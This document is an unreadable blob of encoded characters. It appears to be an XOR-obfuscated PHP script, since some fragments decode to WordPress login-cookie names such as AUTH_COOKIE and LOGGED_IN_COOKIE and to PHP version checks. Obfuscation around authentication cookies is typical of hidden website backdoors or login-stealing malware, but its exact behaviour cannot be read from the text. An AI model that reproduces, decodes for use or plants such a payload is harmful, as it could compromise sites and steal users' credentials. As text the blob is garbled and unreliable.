TNWVRSONB	Q^9WS	OFFFFFFFFNB	Q^9WS	OOFFlFFFFFFFFFFBRTSR]lllFFFlFFBR9P9
UF[FFFU	NWVRPONOFFFFFMFFN^S8_WOFFLFFFN^PU_TM^O]llllFFB9
FF[FFF9UNWVW_ONP

_
TNSRTOOFFFF@@FF9
NO]lFB
TVFFFF[FB9
FFFFFFYFFFP

_
TNWVRQOFF\F	^R_ NWVR^O]lFB	^^_TSRFFFF[FFFB9
FFFFFYFFN NU	NWVR_OOFFFYFFFF5#%34#9'32.9%))-/#F\FFFDDOFFF\FN N9UNWVSVOOFFFFFYF'32.9%))-/#F\FDDO]lFFFFBSR F[FFFF N9UNWVSWOOFYFFFFF*)!!#"9/(9%))-/#FF\FFDD]llllFFFFFF FFFNGFB	^^_TSRFFFFGFFFFFBSR OFFFlFFFFFFFFFFBRTSR]lFFlFFBP_SPFF[FFF N	^R_ NWVSTOOF@@FF%))-/#9")+'/(FFYFU	N^ON%))-/#9")+'/(JFFAHAOFF\FFFV	 NDDO]lB	_WUFF[FFF N	^R_ NWVSUOOFFFYFFFF%))-/#6'2.FF\FAIA]lFBS T^FF[F N	^R_ NWVSROOFFYF'"+/(9%))-/#96'2.FFFFF\FP

_
TNWVSSO]lB_ 9FF[FFB9
FFYFP

_
TNWVSPOF\FFFP

_
TNWVSQO]lFBTF[FD:D]lFFU9VS_Q^SN	^R_ NWVS^OJFFB
T_VQSJFFFFVO]lB
TWFFFF[FFFFST9R	P	UN9UNWVS_OO]lB^_QTTF[FFP

_
TNWVPVON	^R_ NWVPWOOFYFF&9		NB
TWJFFFFNOOF\FFFNO]lFFFF FFFNG	^R_ NWVRSONB^_QTTOOFFB^_QTTFFFF[FFFNO]lBPT
PF[FFFF 
]lFFFB
^TQF[FFFFFV]ll 	FNB	Q^9WS	FFFFFFB  SQUOFFFFFllll FFNGFFU	N_^ONB  SQUOFFFFFGFFFB  SQUKX/"FFFFFGFFFB  SQUKX9
	OFFFFlF	]lFFllFlF FFNB
^TQFX[FFNTMWOOFFFFFFl]lFFFlFFFFFB ^F[FFFFFNOFB  SQUKX9
	]BUVQ[W_PWTT]BUU9[BUVQ8W^]lll FFNNB^_QTT=B ^;OFFF@@FFFFFNOFFB^_QTT=B ^;FXFU	NWVRPONOFFFFMFFTFLFFFFNWR^USMQWSPSOOFFlFFFFFF	]llFFF99
NB  SQUKX/"JFFFFP

_
TNWVPTOO]llFBVPPQW9WF[FFF99NB  SQUKX/"JFFP

_
TNWVPUOJFFO]lllFFF FFFFNU	NWVRSONBVPPQW9WOF@@FF	^R_ NWVPRONBVPPQW9WOFFFX[FFN_MWOOFFFFFlFBPT_P^_FFFF[FNO]l 	FFNBVPPQW9WFFFFFBT FF[XFFFB_ROFllllF FFFNNB_R=U	NWVPSO;OFFF@@FFFB_R=	^R_ NWVPSO;FFFFFXF9UNWVRPONOOFFFFlFBPT_P^_=BT ;FF[FFFB_R]lFFFFlFFlF FFFNU	NWVPPONBPT_P^_OFG[[FU	NWVPPONBVPPQW9WOOFFFlFFF99NB  SQUKX/"JF9UNWVPUOJFFFBPT_P^_O]lFFlFFllll99
NB  SQUKX/"JFFFF9UNWVPTOO]lFFBP	FFFF[FFU	NUUSONN	^R_ NWVRROJFFU	NWVPQOOJFFFFB  SQUKX/"O]lFFFFFFB9P	Q
F[FFBP	KXNBR9P9
UO]lFFFFB  ^VFF[FFNO]lB  ^V=;FFFFF[FBP_SPFHFFBTFFHFF	^R_ NWVSPOFFFHFFBTFFFFFFHFFB	_WUFHFFFBTFFHFB_ 9FFFHFFFBTFFHFFBR9P9
UFFHFFFFFBTFHFBSR FFHFFBTFFHFF	^R_ NWVRUONB  SQUKX/"JFFFFFBR9P9
UJFFFFP

_
TNWVP^OJFB9P	Q
O]lFFFFFFFF FFNB	^^_TSROFFFlFB  ^V=;FFFFF[FFFFBP_SPFFFHFBTFFHF	^R_ NWVP_OFFFFFHFFBTFHFFFFFFBS T^FFFHFBTFHFB_ 9FFHFFFFBTFHFFBR9P9
UFFFHFFBTFHFFFFB	^^_TSRFFFHFFBTFFHFFF9UNWVQVONB  SQUKX/"JFBR9P9
UJFFB
TVJFB9P	Q
O]llllFFFFBRTSR=B  SQUKX9
	;FF[FB  ^V]lB^_QTT=B ^;FF[FBR9P9
U]BR V9_^[WQL^]B_P9QVPWS^[BR V9_^KU]lFBPT
PFFF[FFFFFF]lFB
^TQMM]lFlIIFF
	
	lllFF FFFFNBPT
PFFF@@FP

_
TNWVPVONP

_
TN^^^OOOFFFl&9		NB
TWJFFFFB^_QTTJFFFP

_
TN^_^OO]lFlFFFN2	
FFB
WSW9TOFl	RR^TT9
N9UNWVQWOJFFFB
WSW9TO]lllFFFFN#	FFB
WSW9TOFFFllFFF	9 
N	^R_ NWVQTOJFFB
T_VQSJFFVO]lFFFFFFBRTSR]llllFFFl 	FFF9UQ ^TWRNB^9V
OllFFFFlFFF FFFN	^R_ NWVWRONB^9V
OOFFFFFFFFFB^9V
]lFF FNP

_
TNWVQUONB^9V
OFF@@FFFNB^9V
=AA;OFF@@FF	^R_ NWVWRONB^9V
=AA;OOFFFFFFFFB^9V
=AA;]lFFFFDD]lFFFFFlF 	FR9 9R9_VSQNB	Q^9WS	OlFFFllFFB
F[FFFNO]lFB9	_FFFFF[FFNOFFFFFFT_RUU99NP

_
TNWVQROJFFDDO]lFFFBPS
	_ FF[FFFNOFFFFFFT_RUU99N	^R_ NWVQSOJFFFFDDO]lFFFF FFNB9	_FG[[FFFDDF@@FFFFFBPS
	_ FG[[FFFFFFDDOFlFFFFFB
=B9	_;F[FFFBPS
	_ ]lFFFFllllllFB STVWT	RFFFFF[FFFFT_RUU99N	^R_ NPW_OJFNOO]llFF FFFFN	^R_ NWVQUONB STVWT	ROOFFllllFFFF 	FNB STVWT	RFFB^TFFF[XFFFFBTRROFFFFlFFFFFB 
 UUTQ	WFFF[FFFFFF9UQ ^TWRNBTRRO]lFF FFNB 
 UUTQ	WFFG[[FFDDOFFFFFB
=NOFFFFFB^T;FFFFF[FFFFFB 
 UUTQ	W]lFFFFFFlFFFFlFFFFFB
]llFFl 	FF UWW
QNB^TJFFFBSPR_JFFFFFFB W^POlFlFFFFFlFFFFF FNGFFFU	NWVQPONB^TOFFFGFFFFP

_
TN__ONB^TJFFFP

_
TNWVQQOOOFlFB^T]lFFFl FFFFNGFFB^TKX9NU	NWVQ^OOOFFFFlFFFB^T]lFFlFFFF FNGFP

_
TNWVWRONB W^POFFFGFFB W^POFFFlIIF+57*F^F%2#\FF

		llFFFFFFFFB^T]lFlB STVWT	RF[FT_RUU99N9UNWVQ_OJFFNOO]lFFFFF FNGFU	NWVQUONB STVWT	ROOFlFFB STVWT	RFFF[FFFNO]lllFFFlF 	FNB STVWT	RFFFFFB99PSUFF[XFFBWU^_OFFlllFBWR_9 _F[FFP

_
TNWVQUONBWU^_OFFFFF@@FFNBWU^_=	^R_ NWV^VO;OFFFFFFYFNOFFFBWU^_=U	NWV^VO;FFF\FFFFFV]llFFF FFNBWR_9 _FF@@FFBWR_9 _FFFFZFFP

_
TNWV^WONOFFFKFFFFFNTSVUT^WMSTQTQW_OOFNB STVWT	R=B99PSU;O]lllFFFFFlllFFB STVWT	R=B^TKX9
	;F[FNAAFF[XFB W^PJFFF9UNWV^VOFFFFF[XFFFP

_
TNWV^WONOJFFFF	^R_ NPTVOF[XFFFVO]lFF9
T
PTTNU	NWVQ_OJFB STVWT	RJFFF	^R_ NWV^TOO]llFFFFFFFN2	
FB
WSW9TOFFFl	RR^TT9
N9UNWV^UOJFFFB
WSW9TO]lllFFFFFFFFFFN#	FB
WSW9TOFFlFlFFFFFFFFFB^T]lFFlll 	FFWPRTNBV_WSJFFB^TOlFFlFFFlF FFNG9UNWVWRONBV_WSOFFFBV_WSFF[[[FFFDDOF]lFllFFB STVWT	RFF[FFT_RUU99N9UNWVQ_OJFNOO]lFF FFNGP

_
TNWV^RONB STVWT	ROFFFFGNB STVWT	R=BV_WS;OOFFFF]lFFB
WSW9TFF[FFFB STVWT	R=BV_WS;]lFFFFFFF FFFFNP

_
TNWV^SONB
WSW9TOF@@FFFNB
WSW9T=9UNPTVO;OOFFFB__ 	[NV_MVSO]B	VU^[B__ 	C_]lFFFB STVWT	R=BV_WS;=P

_
TNPTVO;FF[FFFW]B UUTU[WRMUV]B Q__P[B UUTUKQ]lF9
T
PTTN9UNWVQ_OJFB STVWT	RJF9UNWV^TOO]lllFFFFFFN2	
FFFB^V_OFFFl	RR^TT9
NU	NWV^POJFB^V_O]lFFFFFFFN#	FB^V_OFFFFFFllllFFFFllFFF 	FFTS9P9NB	Q^9WS	OlB9 Q Q[WQSTUQ]BUTQ[B9 Q Q8QW]lllFF FNGFFF9UNWV^SONB	Q^9WS	OOFlIIFF	KF			llFFFF 
]llFFFFFFlB
 RFFF[F_TPW	NO]lF 	FNB	Q^9WS	FFFFFFFFB  SQUOFlF 	FFFFFNB
 RFFFFFFB	PT9OFlF FFN9UN^VPONU	NWV^QOFFHFFU	NWV^^ONB	PT9JFAIAOFFFFHF9UNWV^_OJFFB  SQUKX9
	OOFFFlILF	
F		 KFLIllFFB  SQU]lFlFFFFlFFFFlF 
]lFFlF 	F	
_NB
WQSJFFBRP
T^OlFFFFlFF	^R_ NWV_VONU	NWVW^ONB
WQSOJFFVJFFBRP
T^O]llllFlllFF 	FFFFF  ^UVNB T9	^TWSPOlFlFF FNG9UNWVWRONB T9	^TWSPOFFFFFFB T9	^TWSPFFF[[[FDDFFFFFFG NP

_
TN_PPOOOFFFFFFF 
]lFFFFFB9P
  FFFFF[FFFFF

]lF FFFFNB9P
  FF[[[F

OFlIIF16F6F$
	\F
FlB	RTQ[6.69+',)490#45/)(]B ^ST[B	RTQLT]lFFB9P
  FFF[FNlF	
_N'$56'2.FHF	^R_ NWV_WOJFFNSMUOOFFFHFFFFFF9UN_^^OJlFFF	
_N'$56'2.FFHF9UNWV_TOJFFFNWMQOOFFFHFFFFFFU	N_^^OJlO]lFlF 	FFNB9P
  FFFFFFB	V OFFFFBRQ

S[^WLT]BT 9 [BRQ

SKR]lFFF FFN	^R_ N_QVONB T9	^TWSPJFB	V OFG[[FFFFF 
OFFFFFF]lFlFFFFF 
]lFFFFl 	FRWPVQTVWNBRP
T^OllFFFB
VV[U_LQ]BV^RPU[B
VVKUV]lFFF	
_NNNOFFFU	NRRVONOJFFFOJFFBRP
T^O]llllFFFFFFFFlFF 	FFFF 9^_
_PNB
V^V^Oll FNGP

_
TNWVPVON9UNWVPWOOOFFFFFF 
]llllFFBPQR SFF[FF9		N9UNWV_UOJFFNOO]BU [WQSS]B^TT[BU CWT]l FNGP

_
TNWV^SONBPQR SOOFFFFFF 
]lFB9 T^SPTWSF[FF9UNWVW^ONB
V^V^O]llllF FNNBPQR S=B9 T^SPTWS;OOFFFFF 
]lFFFFFFFB 
 UUTQ	WFF[FFF	^R_ NTTVONAAJFFFFNOFFBPQR S=B9 T^SPTWS;O]lFFFFFFB_Q
FF[FFNB 
 UUTQ	W=W;OFFYFFFNOFFFFB 
 UUTQ	W=W;FFF\FFV]BSU[PQMSP]B_VP^RP[BSUKRR]lFFFFFFNB_Q
FFXFVFFFFF@@FP

_
TNWV_RONOFFFKFFB_Q
FZFFFNVUMVPROO]llFFFFF 	F^^	QRTVSU	NB
V^V^JFFFFB_QSTVUQVOlFFFFlF FNG	^R_ NWVPVON	^R_ NWVPWOOFFFFFFFFFG9UNWV_SON	^R_ NWV_POOOF]lFFFFFFFBPQR SFFF[FF9		NU	NWV_UOJFFNOO]lFFFFF FFFNG	^R_ NWV^SONBPQR SOOFFFFBPQR SFFF[FFNO]lFB9 T^SPTWSFFF[F	^R_ NWVW^ONB
V^V^O]ll FNGB_QSTVUQVOFFFFFFl FFNNBPQR S=B9 T^SPTWS;OOFFlNBPQR S=B9 T^SPTWS;O]l9		NP

_
TNWV_UOJFFFFBPQR SO]lFFFFFlFFF]lFllllFFFFFBVTVWFFF[FV]lFFFFFF FNGNBPQR S=B9 T^SPTWS;OOFFlFFB 
 UUTQ	WFF[FFF	^R_ NTTVONAAJFNOFFFBPQR S=B9 T^SPTWS;O]lFFFFFBVTVWF[FFFFNOFB 
 UUTQ	W=V;]llFlFFBVTVWMM]lFFFFFB_Q
FF[FFFFNBVTVWFFFX[FNPKUOOFFYFF9UNWV_RONOFFF\FFFV]l 	FFNBPQR SFFFFFFBR__S
9^F[XFFB P W^OFFFFFlFFFB T9	^TWSPFF[FFP

_
TNTTVONAAJFFFNOFFFFB P W^O]lF FFFNGNB T9	^TWSP=W;OF@@FFU	NWV_QONOFFFKFNOFB T9	^TWSP=W;FFXFFNVTT _MVT^VVQOOFFNBPQR S=BR__S
9^;O]lFFFFFFllllBPQR S=B9 T^SPTWS;FFF[FBVTVWFFFFHFAAFHFB_Q
]l9		N9UNWV_UOJFBPQR SO]lFFFFFlFFF 	FFFF_PW^UNB
V^V^JFFFBS	^OlllFFFlllFFF FNG	^R_ NWV_^ONBS	^OOF]llllFB99VRFFFF[FF9PPUR9WPVPNP

_
TNWV__ONB
V^V^OJFF	^R_ NWWVVOO]lFFFFFF FFFFFNB99VRFFG[[FFF 
OFFlFFFF FFFFFFN&9UNWWVWONB99VRJFFFFFBS	^OFFFFF[[[F9UNWVWUONBS	^OF@@FFQ
SV9TNB99VRJFFFB
V^V^OOFFFF]llFF
VUNB99VRO]lllFFFFFl&U	NWWVWONB
V^V^JFFFFFFBS	^O]lFFFFllFFFF 	FF URUSWNB
V^V^JFBVS9OllllFlFBQ
WVF[FF	^R_ NWV__ONB
V^V^O]lF FNG&U	N^QQONBQ
WVOOFFFlFFFF	RR^TT9
N9UNWWVTOJFF9UNWWVUOFFHFFFU	NWWVRONB
V^V^OO]lFF 
]lllFlFFB QTP_VFFFFFF[FNP

_
TNWV_VONB
V^V^JFFKNVUMVWOOFFFF[[[FFFFFF9UN_^^OO]l FFFNB QTP_VFFFF@@FGS_V9QNBVS9OOFFlF	RR^TT9
N9UNWWVTOJFFFU	NWWVSOFFHFF	^R_ NWWVRONB
V^V^OO]lFFFFFFFF 
]llFFF FFFFNB QTP_VFFF@@FFFFF 9^_
_PNB
V^V^OOFFFF 
]lBUT	99PFFFFF[FFF 
]lFF FFN&9UN^QPONB
V^V^OOFFFFBUT	99PFFFF[FF]FlFFFFBS	^F[FF

]B
QPS	[6.69/(29+'>I6.69/(29+'>]B 
 P[B
QPS	MTU]lFFFFFFFB  R
QVFF[FFFF 
]lFB_PSQ_F[F

]lFFF FFN&	^R_ NWWVPONB
V^V^OFF@@FFFFG&	^R_ N^QPONB
V^V^OOFlFFFFFFB  R
QVFFF[FF]lFFFFB_PSQ_FF[FF& 
NB
V^V^O]lF FFFNB_PSQ_FFFF[[[F 
OFFFFB_PSQ_FFFF[FFFF

]l FFFFN&9UNTTUONB
V^V^OFFZ[FFFFNVT^ _WWWMV_VP OOFBS	^FFFF[F&P

_
TN_TPONB
V^V^O]llllFFlF FFFNGP

_
TNWV_SONP

_
TNTPOOOFlFF	RR^TT9
NU	NWWVTOJF9UNWWVQOFHFU	NWWVRONB
V^V^OO]lFFFFFFFFF 
]lFFFFFFFFlllBP FF[FFFF 
]lFB 
	PFFF[F 
]lFFFB9
FF[FFFU	NWWV^ONBVS9O]lFF 	FFFNB
PVFF[FFFV]FFFFFFB
PVFFZFT]FFB
PVMMOFFFlBP FFF[FF9PPUR9WPVPNBQ
WVJFU	NWWV_OO]l FFNBP FFG[[FF 
OFFFlB 
	PFFF[F 
]lFFB T9	^TWSPFFFF[FFFF&9UNWVRONBP JFFF	^R_ NWWWVOO]lFFFFF FNB T9	^TWSPFFG[[F 
OFFlFBUR_9F[FV]lFFF
FFFFFFNBUR_9FZFFB9
OFFFlllFB9		RUW VF[FF&U	NWWWWONB T9	^TWSPJFU	NWWWTONBVS9JFFFBUR_9OO]lF FFNB9		RUW VFFF[[[FFFF 
FFB9		RUW VFFFF[[[FFVOF]lFFFBUR_9FM[FB9		RUW V]llFFF&  
NB T9	^TWSPO]lIIF&
F	lB^S S[^QWUP]B^	[B^S S8P_]l FFFN9UNWWWUON	^R_ NWWWROOOFFFF& NB T9	^TWSPO]B_U
[K_P]BRR[NB_U
XVOYB_U
\KB_U
]lFF& 
	NB T9	^TWSPO]lFFF FNBUR_9F[[[FFFFB9
OFFB 
	PF[FFBUR_9]lFFFFFFF
FFlllB 
	PFFF[F&U	NWWWSONBP JFFFFFFBVS9O]llFFFFFlIIF
FllFF FNB 
	PFFFG[[FF 
FFF@@FFFFB 
	PFFFF[[[FFB9
OFF]lFFFF
VUNBP O]llllFFFBP FFFFF[FFF 
]lllFFFlllllFFFFF FFFFNBP FFF[[[FFF 
OFlF	RR^TT9
NP

_
TNWWVTOJFFFU	NWWWPOFFHFP

_
TNWWVRONB
V^V^OO]lF 
]lFFFllll FNB 
	PFFF[[[F 
FFFB 
	PFG[[FFFB9
OFFFFlF	RR^TT9
N9UNWWVTOJF	^R_ NWWWQOFHFP

_
TNWWVRONB
V^V^OO]l
VUNBP O]lFFFF 
]lFlF FFFNB_PSQ_FFG[[FFFFFF

OFFF&	^R_ NWPRONBP JFFB_PSQ_FFFF@FFFFFFNR_^MWUOO]lllFB
Q T_FFFF[FFQ
SV9TNBP JFFFFFB
V^V^O]lFFF FFFNGB
Q T_F@@FFFB  R
QVFFFFF@@FFFGBUT	99POFlF FFFFFN&P

_
TNWWVPONB
V^V^OOFU9
 NB
V^V^JFFNU_RMTPOO]lFB^^_9FFFF[FB
V^V^FHF9UNWWW^OFFFFHFF9UNRRVONNVWQWMVTQQOJFNWTQ^M^QTWOO]lFFF FFNQ
SV9TNB
V^V^JFFFFB^^_9OOFFFFFlFFFB
Q T_FF[FFQ
SV9TNBP JFB
V^V^O]lF FFNB
Q T_OFllFF
VUNB^^_9O]llFFF
FFFFlIIF 
F
	lllFFFF FFFNGQ
SV9TNB^^_9JFFB
V^V^OF@@FFFFFG 	QPVNB^^_9JFFFFB
V^V^OOFFFlFFF_PW^UNB
V^V^JFBS	^O]lFFFFlIIF654KWSF
\F
KFKllF FFFFFFNG&9UNWWVPONB
V^V^OOFFFlFFFFFF_PW^UNB
V^V^JFFBS	^O]lFFlllFlllFllllFFFFF FFFNGB
Q T_FF@@FFGBUT	99PF@@FFFGB QTP_VOFllll FFFN&P

_
TNWWVPONB
V^V^OOFFFFFU9
 NB
V^V^JFFNU^_MUWOO]l FFN 	QPVNBP JFFFFFB
V^V^OOFFlFFB
Q T_F[FFFF]l
VUNBP O]B9V_UV[KUWP]BR	 	9[NB9V_UVXVOYB9V_UV\KB9V_UV]lFFlFFFFFllllF FNGB
Q T_OFFFFFlFF FFFFN&P

_
TNWWVPONB
V^V^OFF@@FFNOF&	^R_ NTTUONB
V^V^OFG[[FFFB9
OFFFFB_WPQ[^MRQ]B 	 
^Q[B_WPQKU^]lFFFFFBSUS9TF[F&	^R_ NWWW_ONB
V^V^O]llFFFFF FFFFFFNG9UNWWTVONBSUS9TOFFFNU	NWWTWONBS	^OF@@FFFBSUS9TFFG[[FFFBS	^OOFFFlFF FFNP

_
TNWWTTONBS	^OOF_PW^UNB
V^V^JFBS	^O]lll
 FFNGB  R
QVOF
VUNB
V^V^O]lIIF16F5	
F*F	F	llFFFFFFFlFFNBSUS9TO]lFFFFlFF FFFFNG&U	NWWVPONB
V^V^OOFFl_PW^UNB
V^V^JFBS	^O]ll	RR^TT9
NP

_
TNWWTUOJFF	^R_ NWWTROFFFHFFFF	^R_ NWWVRONB
V^V^OO]l
VUNBP O]lFFF 
]lFllllFFF&
NJFB
V^V^O]llFFBR
TQFFFF[FF 
]lllFFF FNB9
FZ[FNTV_QV^VMQTOOFlllBQS	WU_FF[F&9UNWWTSONB
V^V^O]lFFFFFFllFFFFBR
TQFF[FFFFN9UNWWTTONBQS	WU_OFFFF@@FF9UNWWV^ONBQS	WU_OFFFF[[[FFFFB9
F@@FFFFFFP

_
TNWWTPONBQS	WU_OF[[[F9UNWWTPONBVS9OO]lF
FlFB ST	PQV_WFFFF[FFU	NWWTQON9UNWWT^OOFFFYFF&9 
NU	NWWTPOJFB
V^V^OFFFF\FFFF 
]l FFNU	NWWT_ONB ST	PQV_WOF@@FFB ST	PQV_WFFG[[FFFDDOFBR
TQFFFF[FFNB ST	PQV_WFF[[[FFFFP

_
TNWWTPONBVS9OO]lFFFFFFF
FFFlIIFF
	llFFBW^FFFFFF[FFFFFF&U	NTTUONB
V^V^O]lF FNBW^FF[[[FFFFFB9
OFFFFFlFFFFFFB	^WQFF[FF&U	NWWTSONB
V^V^JFFFFF 
JF

JFFVJFFFNRVQSMTWOO]lFFB9F[FFFF&9UNWWTSONB
V^V^JFFFFF 
JFFF

JFFB9
FKFFNQVVUKT_VQOO]lFBR
TQFF[FN9UNWWUVONB	^WQOFFF@@FF	^R_ NWWUVONB9OFF@@FFB	^WQFFF[[[FFFP

_
TNWWWTONBVS9JFFVJFNVRT MVWOOFF@@FFB9FF[[[FF	^R_ NWWUWONBVS9JFB9
FKFNTV_TMTVVROOO]llllFlFllllFFlllF FFFFNGBR
TQOFl	RR^TT9
NP

_
TNWWTUOJFU	NWWUTOFFHFF	^R_ NWWVRONB
V^V^OO]llllFF FFFNB QTP_VOFF^^	QRTVSU	NB
V^V^JFFFFO]lFFFFF FFFN	^R_ NWWUUONBS	^OOFFFlFFB_UUF[FU	NWWTQON9UNWWUROOFFFFFYF&9 
N	^R_ NWWTPOJFFFB
V^V^OF\F 
]lFFFFF FNU	NWWUUONB_UUOFF@@FB_UUFFFFG[[FFDDF@@FFFB_UUFG[[FF9UNWWTPONBVS9OFF@@FB_UUFFFG[[FFFFU	NWWTPONBS	^OOFFFl	RR^TT9
N9UNWWTUOJFFF9UNWWUSOFHFFFU	NWWUPONB
V^V^OO]lFF 
]lllFlFFFBRPPWFFFFF[FFFFFF9PPUR9WPVPNBQ
WVJFFF	^R_ NWWV_OO]lF FFFFFFNBRPPWFG[[F 
FF@@FF&P

_
TNWWWSONBRPPWJFFBS	^OFFFF[[[FFFFU	NWWV^ONBS	^OOFFFFFlFFFFFF FFFNGQ
SV9TNBRPPWJFB
V^V^OOFFl FN&U	NWWVPONB
V^V^OFF@@FFFFGBUT	99POFFFFFU9
 NB
V^V^JFNWP_MTSWOO]l FFNGBUT	99PFFFFF@@FF 	QPVNBRPPWJFFFFFFB
V^V^OOFl
VUNBRPPWO]lFFFFFFFFFF
FFlFF&U	NWWWSONB
V^V^JFFBS	^O]lFFF
VUNBRPPWO]llFFFllFFF
FlFF FFFNBRPPWFG[[F 
OFFFFFF
VUNBRPPWO]lFFFF&9UNWWUQONB
V^V^JFFBS	^O]llFlF^
	 ^
NB
V^V^O]lFFFFF
 FFFNGB  R
QVOFlFF
VUNB
V^V^O]lFFFFFFFlFFFFFFF 
]lFFlFFFFFFFF^
	 ^
NB
V^V^O]l_R
RRWU
NB
V^V^O]lFFFFFU9
 NB
V^V^JFNVWPRMVRVOO]lFFF FFFFFFNB QTP_VOFFF^^	QRTVSU	NB
V^V^JFF 
O]lFFFFFFFFFF]lFlF 	FFFV V
9 RNB
V^V^JFFFBP	VUWOlFFFFFFFlILF
F	KFLIlllBT VVFF[FFFDZY:D]lFFFFF FFFN9UNWWUUONBP	VUWOF@@FFFFFBP	VUWFFFFG[[FFFDDFF@@FFU	N_QVONBP	VUWJFF	^R_ NTS_OOFG[[FF 
FF@@FFFFFFS_V9QNBP	VUWOOFFBT VVFF[FFBP	VUW]lF FN&U	NWWU^ONB
V^V^OOFFFlFFFFFBWU^UF[FFFF&P

_
TNWWTSONB
V^V^O]llllF FFFFN9UNWWUUONBWU^UOFF@@F9^QSRQNBWU^UOFFF[[[FFFFBT VVOFFFF]lllFlllFFFF FNG URUSWNB
V^V^JFBT VVOOFFFFFlFFFFB	TRTRSFFFFFF[FFF&9UNWWTSONB
V^V^O]l FFFNGNU	NWWU_ONB	TRTRSOFF@@FFF9^QSRQNB	TRTRSOF[[[FBT VVOOFFFFF&U	NWWUQONB
V^V^JFFFBT VVO]lNB	TRTRSO]lFFl^
	 ^
NB
V^V^O]lFlFFFF 	F	U	PS99PV^NOlll FFN	^R_ NWWTQONU	NWWRVOOFFFFF@@FF_Q  ST
9	

NOOFFFFF]l FNGP

_
TNWWRWON	^R_ NQ^UOOFFFFFFFFG9UNWWRWON	^R_ N_VUOOOFFFFFFFF]lB^WP F[F	9
NAIAO]lFFB^WP FH[FFFN	^R_ N_QVONB^WP JFFFAYAOF[[[FFF 
FFYFFAYAFFF\FFA@AOFHFFFF	^R_ NWWRTOFFFFHFFFP

_
TNWWRUONOFFHFFFF	^R_ NWWRRONNVURMVUVOJFNVWPWMVT^POO]lFFFFFFFB TW	R	_ SQPFFFF[F9UN_VUONB^WP JFNP

_
TNWWRSOF[XFFNW_U8TVWOJFFFFU	NWWRPOFF[XF 
JFFU	NWWRQOF[XFFFTJFFU	NWWR^OFFFFFF[XFNP

_
TNWWR_OFFF[XFFU	NWWSVOOOO]lF FFFNU	NWWSWONU	NURTOOFF@@FFF99	NB TW	R	_ SQPOOFFFFlFF FFNP

_
TNWWSTONU	NQ^QOOOFFFF9UNQ^QONWO]lFFFB TW	R	_ SQPFFFF[FFFFFF9UN_VUONB^WP JFFN9UNWWSUOFF[XFFFFFFNSMUOJFFFFF	^R_ NWWRPOF[XFF 
JFU	NWWRQOF[XFTJFFF9UNWWR^OFF[XFFFNU	NWWR_OFFFF[XFFFP

_
TNWWSVOOOO]llF FFNU	NWWSTONU	NWWSROOFFFF@@F99	NB TW	R	_ SQPOOFFFF 
]lFFlFBWP
F[FFNOFFF9	99	9	NB TW	R	_ SQPO]B_VUQQ[RWU]B	UV[NB_VUQQXVOYB_VUQQ\KB_VUQQ]lFFFFFBWP
FFX[FFFFNSM_SOFFFF@@FFBWP
FFZFNVWVTMV TO]lFFFFl 	FR  WWW
TNBP9S_U^JFFFFFB^ S
_RPQ9OlFlFBQ 9PTP TFF[FF	^R_ NWV^^ONP

_
TNWWUPONB^ S
_RPQ9OJFFFAIAO]lllFFFFF 	FFNlFFFFFFNllll9UNWWSSOFFFFFFHFFBQ 9PTP TFFHFP

_
TNWWSPOJlFFU	NWWSQOFFHFBQ 9PTP TFFFFHFF9UNWWSPOJlFP

_
TNWWS^OFHFFBQ 9PTP TFHFFF9UNWWS_OJlFOFFFFB S	S
lFFFOFFFl FFFFNG	^R_ NWWU_ONBP9S_U^OOFF]llllFFFBP9S_U^FFFF[FF9UN__VONB S	S
JFFFFFD:DJFFFBP9S_U^O]lFFFFFllllFFFFBP9S_U^]BWT[KQ^V]BST
WUTW[NBWTXVOYBWT\KBWT]lFllllFFFFF 	FFFF^
	 ^
NB	

^	OllFF FFFFFNP

_
TNWWPVON9UNTVVOOOFFFlFFFFF&	9
NB	

^	JFFOFFFG[[FFFF 
]llFFFFBQS
FFF[FFFFFFU	NWWPVON9UNWWPWOOFFYFFF&	99N 
OFFFFF\FFF 
]lFFFFGNU	NWV^SONBQS
OFF@@FFGNBQS
=	^R_ NWWPTO;OO]lFFl 	FU_TVQTQ	_NB
V^V^JFFFFB9	JFB9QR^^OlFFFlF FNU	NWWUWONB
V^V^JFKN^KROOFF[[[FFFFFFP

_
TN_^^OOFFFlFFF FFNG URUSWNB
V^V^JFB9	OOFFlF	RR^TT9
NB9QR^^JFFFFP

_
TNWWPUOFHFU	NWWUPONB
V^V^OO]lF 
]lFFl^
	 ^
NB
V^V^O]lFFFFFFP

_
TNWWV^ONB9	O]llllFFFFlB T9	^TWSPFF[FFF&	^R_ NWVRONB
V^V^JFFFFF	^R_ NWWPROO]lF FFFNB T9	^TWSPFFFF[[[FF 
OFlFFFFF	RR^TT9
NB9QR^^JF9UNWWPUOFFFFFHF9UNWWPSONB
V^V^OO]lFFFFFFF 
]BS^[W_LP]BRUWP_9[BS^KU_]llFFF FFNU	NWWPVON	^R_ NWWPPOOOFF& 
	NB T9	^TWSPJFFFFF*)%-9#>O]llFB TW	R	_ SQPF[FFF&P

_
TNWWPQONB T9	^TWSPJFFFB9	O]lFFFFFF FFN9UNWWPVONP

_
TNWWPPOOOFF& 
	NB T9	^TWSPJFFFF*)%-93(O]l& 
	NB T9	^TWSPO]lFF FNB TW	R	_ SQPFF[[[F 
FFFFFFFFNB9	FFG[[FFFDDFFF@@FFB TW	R	_ SQPFG[[FFFU	NWWV^ONB9	OOOFlF	RR^TT9
NB9QR^^JFP

_
TNWWPUOFHFF9UNWWPSONB
V^V^OO]llllFFF 
]lFFFFFFlFFFFFFFB TW	R	_ SQP]lFFFFlllFlFFFFFFF 	FFFPTQR
Q _	NOlFFlIIF	F
KllFFlFFFFFFFF FNGP

_
TNWWPVONP

_
TN^QROOFFGP

_
TNWWP^ONP

_
TNWWP_OOOFFlRUQR
WPP^Q N

O]lF]lFFlll FFFN9N9UNWWQVOOOF]lFFFF FN9N	^R_ NWWQWOOOFFFFFF]lFFFFFF9N	^R_ NWWQTOJFWJFFNSUWMP_OO]lFRUQR
WPP^Q N

O]l FFFFN	^R_ NWWP^ONP

_
TN^_VOOOFF
9NU	NWWQTOO]lB9	_FFF[FU	NWWP^ON9UNWWQUOOFFFYFNOFFFFT_RUU99N9UNWVQROJFDDOFF\FFFDD]l FNB9	_FFFG[[FDDFFF@@FFFU	NWWQRONU	NWWQSOOFF@@FFF9NB9	_OOFFl9NP

_
TNWWQVOJFFFWJFNU^_W^KWQUW^OO]llllFFFFlFFFFN2	
FFB
WSW9TOFlIIF&		F
KllFF	RR^TT9
N9UNWWQPOJFB
WSW9TO]lFFFFFN#	FFFFFB
